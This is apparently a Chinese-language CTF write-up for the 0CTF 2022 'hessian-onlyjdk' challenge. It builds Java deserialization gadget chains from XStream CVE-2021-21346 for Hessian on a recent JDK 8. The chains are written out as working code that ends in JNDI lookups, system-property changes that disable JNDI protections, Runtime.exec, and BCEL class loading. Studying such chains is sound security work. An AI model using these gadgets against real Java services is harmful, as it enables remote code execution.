[TCTF/0CTF2022]hessian-onlyjdk 这题找了很多资料
首先需要看懂 XStream CVE-2021-21346 链子的由来 https://x-stream.github.io/CVE-2021-21346.html
其次学会网鼎杯那道 hessian 构造不合理的序列化数据触发 toString
XStream CVE-2021-21346 首先,理解那一段序列化 XML 数据的构造从何而来
这里有一个小 tip
看官网对于 CVE-2021-21346 描述中,有 ysomap 字样
其实就可以到 ysomap 项目中找到和这个 CVE 相关的信息
再或者,也可以通过查找此 CVE 中几个关键类,找到其他人的分析文章
CVE-2021-21346 触发的是 JNDI 注入,这需要 jdk8 版本不能太高,而此题 onlyjdk 版本到了 jdk1.8.342 属于是使用不了 jndi
此链的核心部分为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { UIDefaults uiDefaults = new UIDefaults (); uiDefaults.put("aaa" , new SwingLazyValue ("javax.naming.InitialContext" , "doLookup" , new Object []{"ldap://127.0.0.1:8085/u" })); Class<?> aClass = Class.forName("javax.swing.MultiUIDefaults" ); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(UIDefaults[].class); declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(new Object []{new UIDefaults []{uiDefaults}}); o.toString(); }
MultiUIDefaults 是 protected 类,无法在 hessian 中利用
jdk 版本过高,无法利用 jndi
然后看 SwingLazyValue 是如何调用 doLoopup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public SwingLazyValue (String c, String m, Object[] o) { className = c; methodName = m; if (o != null ) { args = o.clone(); } } public Object createValue (final UIDefaults table) { try { ReflectUtil.checkPackageAccess(className); Class<?> c = Class.forName(className, true , null ); if (methodName != null ) { Class[] types = getClassArray(args); Method m = c.getMethod(methodName, types); makeAccessible(m); return m.invoke(c, args); } else { Class[] types = getClassArray(args); Constructor constructor = c.getConstructor(types); makeAccessible(constructor); return constructor.newInstance(args); } } catch (Exception e) { return null ; }
也就是说 SwingLazyValue 可以调用任意的静态函数或任意对象的构造函数 (不能加载自定义的对象)
1 2 3 4 new SwingLazyValue ("javax.naming.InitialContext" , "doLookup" , new Object []{"ldap://127.0.0.1:8085/u" }).createValue(new UIDefaults ());Runtime runtime = (Runtime) new SwingLazyValue ("java.lang.Runtime" , null ,null ).createValue(new UIDefaults ());runtime.getRuntime().exec("calc" );
hessian 反序列化 -> xxx.toString(√)
xxx.toString -> UIDefaults.get(x)
SwingLazyValue.createValue -> 任意的静态函数或任意对象的构造函数(x)
xxx.toString -> UIDefaults.get toString 调用 get 好像在哪看过
使用 codeql 来找一找
找到了 MimeTypeParameterList
1 2 3 4 5 6 7 8 public static void main (String[] args) throws Exception { MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList (); UIDefaults uiDefaults = new UIDefaults (); uiDefaults.put("aaa" , new SwingLazyValue ("javax.naming.InitialContext" , "doLookup" , new Object []{"ldap://127.0.0.1:8085/u" })); uiDefaults.get("aaa" ); Reflections.setFieldValue(mimeTypeParameterList,"parameters" ,uiDefaults); mimeTypeParameterList.toString(); }
还有好几个,CodeQl 牛蛙牛蛙
sun.jvm.hotspot.utilities.soql.JSMap
1 2 3 4 5 6 7 public static void main (String[] args) throws Exception { UIDefaults uiDefaults = new UIDefaults (); uiDefaults.put("tel" , new SwingLazyValue ("javax.naming.InitialContext" , "doLookup" , new Object []{"ldap://127.0.0.1:8085/u" })); JSMap jsMap = new JSMap (uiDefaults,new JSJavaFactoryImpl ()); jsMap.toString(); }
xxx=”MimeTypeParameterList” || “JSMap”
SwingLazyValue.createValue -> 任意的静态函数或任意对象的构造函数 https://github.com/waderwu/My-CTF-Challenges/blob/master/0ctf-2022/hessian-onlyJdk/writeup/readme.md
JavaUtils.writeBytesToFilename -> System.load 此链被 ban 了
System.setProperty -> JNDI 注入 在 jdk 高版本下,可以通过执行这条代码,之后可无视 jndi 高版本进行 JNDi 注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase" , "true" ); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); System.setProperty("java.rmi.server.useCodebaseOnly" , "false" ); ...... public static void setProperties (Properties props) { SecurityManager sm = getSecurityManager(); if (sm != null ) { sm.checkPropertiesAccess(); } if (props == null ) { props = new Properties (); initProperties(props); } System.props = props; }
MethodUtil.invoke -> Runtime.exec 1 2 3 4 5 6 7 8 9 10 public static void main (String[] args) throws Exception { String cmd = "calc" ; Method invoke = MethodUtil.class.getMethod("invoke" , Method.class, Object.class, Object[].class); Method exec = Runtime.class.getMethod("exec" , String.class); SwingLazyValue swingLazyValue = new SwingLazyValue ( "sun.reflect.misc.MethodUtil" , "invoke" , new Object []{invoke, new Object (), new Object []{exec, Runtime.getRuntime(), new Object []{cmd}}}); swingLazyValue.createValue(new UIDefaults ()); }
JavaWrapper._main -> runMain -> evil._main 1 2 3 byte [] bytes = Files.readAllBytes(Paths.get("target\\test-classes\\evil.class" ));String code = Utility.encode(bytes,true );uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue ("com.sun.org.apache.bcel.internal.util.JavaWrapper" , "_main" , new Object []{new String []{"$$BCEL$$" +code,"s" }}));